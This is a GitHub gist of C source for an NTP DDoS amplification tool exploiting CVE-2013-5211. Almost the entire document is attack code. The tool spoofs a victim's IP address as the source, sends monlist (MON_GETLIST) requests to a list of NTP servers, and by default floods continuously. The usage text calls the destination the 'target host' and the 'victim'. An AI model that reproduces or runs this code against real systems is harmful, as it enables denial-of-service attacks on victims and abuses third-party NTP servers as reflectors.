Created
February 19, 2016 23:52
-
-
Save grizmin/9a40ef91e9c138610d7b to your computer and use it in GitHub Desktop.
ntp ddos
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
* by Konstantin Krastev | |
* | |
* NTP DDoS amplification | |
* Date: 04/04/2014 | |
* Used POC by Danilo PC - <[email protected]> | |
* CVE : CVE-2013-5211 | |
*/ | |
#include <stdio.h> //For on printf function | |
#include <string.h> //For memset | |
#include <sys/socket.h> //Structs and Functions used for sockets operations. | |
#include <stdlib.h> //For exit function | |
#include <netinet/ip.h> //Structs for IP header | |
#include <netdb.h> | |
#include <netinet/in.h> | |
#include <unistd.h> | |
//Struct for UDP Packet | |
struct udpheader{ | |
unsigned short int udp_sourcePortNumber; | |
unsigned short int udp_destinationPortNumber; | |
unsigned short int udp_length; | |
unsigned short int udp_checksum; | |
}; | |
// Struct for NTP Request packet. Same as req_pkt from ntpdc.h, just a little simpler | |
struct ntpreqheader { | |
unsigned char rm_vn_mode; /* response, more, version, mode */ | |
unsigned char auth_seq; /* key, sequence number */ | |
unsigned char implementation; /* implementation number */ | |
unsigned char request; /* request number */ | |
unsigned short err_nitems; /* error code/number of data items */ | |
unsigned short mbz_itemsize; /* item size */ | |
char data[40]; /* data area [32 prev](176 byte max) */ | |
unsigned long tstamp; /* time stamp, for authentication */ | |
unsigned int keyid; /* encryption key */ | |
char mac[8]; /* (optional) 8 byte auth code */ | |
}; | |
struct ntp_t | |
{ | |
struct sockaddr_in sin; /* socket prot structure */ | |
int s; /* socket */ | |
int rnd; /* Random dst port boolean */ | |
int psize; /* packet size */ | |
int num; /* number of packets to send */ | |
int delay; /* delay between (in ms) */ | |
unsigned short dstport; /* dest port array (udp) */ | |
unsigned short srcport; /* source port (udp) */ | |
char *padding; /* junk data */ | |
unsigned long ip; | |
}; | |
/* prototypes */ | |
void usage (char *); | |
unsigned long resolve (char *); | |
void getports (struct ntp_t *, char *); | |
void ntp_send (struct ntp_t *, unsigned long, int); | |
unsigned short in_chksum (unsigned short *, int); | |
char packet; | |
//Da MAIN | |
int psize; /* packet size */ | |
int sockfd; // Maintains the socket file descriptor | |
int one = 1; // Sets the option IP_HDRINCL of the sockt to tell the kernel that the header are alredy included on the packets. | |
struct sockaddr_in dest; // Maintains the data of the destination address | |
int status; // Maintains the return values of the functions | |
struct ntp_t ntpt; | |
int main(int argc, char *argv[]) | |
{ | |
FILE *ntplist; | |
unsigned long nlist[1024]; | |
char buf[32]; | |
int fd, n, cycle, num = 0, on = 1; | |
char c; | |
if (argc < 3) | |
usage(argv[0]); | |
/* set defaults */ | |
memset((struct ntp_t *) &ntpt, 0, sizeof(ntpt)); | |
ntpt.psize = 64; | |
ntpt.num = 0; | |
ntpt.delay = 10000; | |
ntpt.sin.sin_port = htons(0); | |
ntpt.sin.sin_family = AF_INET; | |
ntpt.srcport = 123; | |
ntpt.dstport = 123; | |
/* resolve 'source' host, quit on error */ | |
ntpt.sin.sin_addr.s_addr = resolve(argv[1]); | |
ntpt.ip = resolve(argv[1]); | |
// printf("ntpt.sin.sin_addr.s_addr = %d\n",ntpt.sin.sin_addr.s_addr); | |
/* open the ntplist file */ | |
if ((ntplist = fopen(argv[2], "r")) == NULL) | |
{ | |
perror("Opening ntplist file"); | |
exit(-1); | |
} | |
//printf("%s\n","done reading file."); | |
/* parse out options */ | |
optind = 3; | |
while ((c = getopt(argc, argv, "rRn:d:p:s:")) != -1) | |
{ | |
switch (c) | |
{ | |
case 'p': | |
ntpt.dstport = (unsigned short) atoi(optarg); | |
break; | |
/* number of packets to send */ | |
case 'n': | |
ntpt.num = atoi(optarg); | |
break; | |
/* usleep between packets (in ms) */ | |
case 'd': | |
ntpt.delay = atoi(optarg); | |
break; | |
/* source port */ | |
case 's': | |
ntpt.srcport = (unsigned short) atoi(optarg); | |
break; | |
default: | |
usage(argv[0]); | |
} | |
} /* end getopt() loop */ | |
//printf("%s\n","done processing options."); | |
/* read in our ntplist and store them in our array */ | |
while (fgets(buf, sizeof buf, ntplist) != NULL) | |
{ | |
char *p; | |
int valid; | |
/* skip over comments/blank lines */ | |
if (buf[0] == '#' || buf[0] == '\n') continue; | |
/* get rid of newline */ | |
buf[strlen(buf) - 1] = '\0'; | |
/* check for valid address */ | |
for (p = buf, valid = 1; *p != '\0'; p++) | |
{ | |
if ( ! isdigit(*p) && *p != '.' ) | |
{ | |
fprintf(stderr, "Skipping invalid ip %s\n", buf); | |
valid = 0; | |
break; | |
} | |
} | |
/* if valid address, copy to our array */ | |
if (valid) | |
{ | |
nlist[num] = inet_addr(buf); | |
num++; | |
if (num == 1024) | |
break; | |
} | |
} /* end nlist while loop */ | |
// printf("%s\n","done while loop."); | |
// Create a socket and tells the kernel that we want to use udp as layer 4 protocol | |
sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_UDP); | |
if (sockfd == -1){ | |
printf("Error on initializing the socket\n"); | |
exit(1); | |
} | |
// printf("%s\n","done creating socket."); | |
// printf("ntp.num = %d\n",ntpt.num); | |
//Sets the option IP_HDRINCL | |
status = setsockopt( sockfd, IPPROTO_IP, IP_HDRINCL, &one, sizeof one); | |
if (status == -1){ | |
printf("Error on setting the option HDRINCL on socket\n"); | |
exit(1); | |
} | |
/* seed our random function */ | |
srand(time(NULL) * getpid()); | |
//printf("%s\n","done creating socket2."); | |
/* wee.. */ | |
for (n = 0, cycle = 0; n < ntpt.num || !ntpt.num; n++) | |
{ | |
int x; | |
// printf("%d\n",nlist[cycle]); | |
ntp_send(&ntpt, nlist[cycle], x); | |
/* quick nap */ | |
usleep(ntpt.delay); | |
// printf("%s\n","done cycle"); | |
/* cosmetic psychadelic dots */ | |
if (n % 50 == 0) | |
{ | |
printf("."); | |
fflush(stdout); | |
} | |
cycle = (cycle + 1) % num; | |
} | |
exit(0); | |
} | |
unsigned short in_chksum (unsigned short *addr, int len) | |
{ | |
register int nleft = len; | |
register unsigned short *w = addr; | |
register int sum = 0; | |
unsigned short answer = 0; | |
while (nleft > 1) | |
{ | |
sum += *w++; | |
nleft -= 2; | |
} | |
if (nleft == 1) | |
{ | |
*(unsigned char *)(&answer) = *(unsigned char *)w; | |
sum += answer; | |
} | |
sum = (sum >> 16) + (sum + 0xffff); | |
sum += (sum >> 16); | |
answer = ~sum; | |
return(answer); | |
} | |
void usage (char *s) | |
{ | |
fprintf(stderr, | |
"usage: %s <target host> <ntplist file> [options]\n" | |
"\n" | |
"Options\n" | |
"-p: dest port (default 123, change only if NTP server is running on different port)\n" | |
"-s: Source port (0 for random (default))\n" | |
"-n: Num of packets to send (0 is continuous (default))\n" | |
"-d: Delay inbetween packets (in ms) (default 10000)\n" | |
"\n", s); | |
exit(-1); | |
} | |
unsigned long resolve (char *host) | |
{ | |
struct in_addr in; | |
struct hostent *he; | |
/* try ip first */ | |
if ((in.s_addr = inet_addr(host)) == -1) | |
{ | |
/* nope, try it as a fqdn */ | |
if ((he = gethostbyname(host)) == NULL) | |
{ | |
/* can't resolve, bye. */ | |
herror("Resolving victim host"); | |
exit(-1); | |
} | |
memcpy( (caddr_t) &in, he->h_addr, he->h_length); | |
} | |
// printf("in.s_addr = %d\n\n",in.s_addr); | |
return(in.s_addr); | |
} | |
void ntp_send (struct ntp_t *ntpt, unsigned long dst, int n) | |
{ | |
printf(".") | |
struct iphdr *ip; // Pointer to ip header struct | |
struct udpheader *udp; // Pointer to udp header struct | |
struct ntpreqheader *ntp; // Pointer to ntp request header struct | |
char packet[ sizeof(struct iphdr) + sizeof(struct udpheader) + sizeof(struct ntpreqheader) ]; //Packet itself | |
//Mounts the packet headers | |
// [ [IP HEADER] [UDP HEADER] [NTP HEADER] ] --> Victory!!! | |
//"Zeroes" all the packet stack | |
memset( packet, 0, sizeof(packet) ); | |
ip = (struct iphdr *)packet; | |
udp = (struct udpheader *) (packet + sizeof(struct iphdr) ); | |
ntp = (struct ntpreqheader *) (packet + sizeof(struct iphdr) + sizeof(struct udpheader) ); | |
//Fill the IP Header | |
ip->version = 4; //IPv4 | |
ip->ihl = 5; //Size of the Ip header, minimum 5 | |
ip->tos = 0; //Type of service, the default value is 0 | |
ip->tot_len = sizeof(packet); //Size of the datagram | |
ip->id = htons(1234); //LengthIdentification Number | |
ip->frag_off = 0; //Flags, zero represents reserved | |
ip->ttl = 255; //Time to Live. Maximum of 255 | |
ip->protocol = IPPROTO_UDP; //Sets the UDP as the next layer protocol | |
ip->check = 0; //Checksum. | |
ip->saddr = ntpt->ip; //Source ip ( spoofing goes here) | |
// ip->saddr = inet_addr ("46.10.210.1"); //Source ip ( spoofing goes here) | |
ip->daddr = dst; //Destination IP | |
// printf("ntpt->sin.sin_addr.s_addr = %d\n",ntpt->sin.sin_addr.s_addr); | |
// printf("ntpt->ip = %d\n",ntpt->ip); | |
//Fills the UDP Header | |
udp->udp_sourcePortNumber = htons(ntpt->srcport); //Source Port | |
udp->udp_destinationPortNumber = htons(ntpt->dstport); //Destination Port | |
udp->udp_length = htons( sizeof(struct udpheader) + sizeof(struct ntpreqheader) ); //Length of the packet | |
udp->udp_checksum = 0; //Checksum | |
//Calculate the checksums | |
ip->check = in_chksum((unsigned short *)packet, ip->tot_len); //Calculate the checksum for iP header | |
//Sets the destination data | |
ntpt->sin.sin_family = AF_INET; // Address Family Ipv4 | |
ntpt->sin.sin_port = htons (atoi( "123" ) ) ; // Destination port | |
ntpt->sin.sin_addr.s_addr = dst; // Destination Endereço para onde se quer enviar o pacote | |
//Fills the NTP header | |
//Ok, here is the magic, we need to send a request ntp packet with the modes and codes sets for only MON_GETLIST | |
//To do this we can import the ntp_types.h and use its structures and macros. To simplify i've created a simple version of the | |
// ntp request packet and hardcoded the values for the fields to make a "MON_GETLIST" request packet. | |
// To learn more, read this: http://searchcode.com/codesearch/view/451164#127 | |
ntp->rm_vn_mode=0x17; //Sets the response bit to 0, More bit to 0, Version field to 2, Mode field to 7 | |
ntp->implementation=0x03; //Sets the implementation to 3 | |
ntp->request=0x2a; //Sets the request field to 42 ( MON_GETLIST ) | |
//All the other fields of the struct are zeroed | |
// Sends the packets | |
status = sendto(sockfd, packet, ip->tot_len, 0, (struct sockaddr *)&ntpt->sin, sizeof(ntpt->sin) ); | |
if(status <0){ | |
printf("Failed to send the packets\n"); | |
exit(1); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment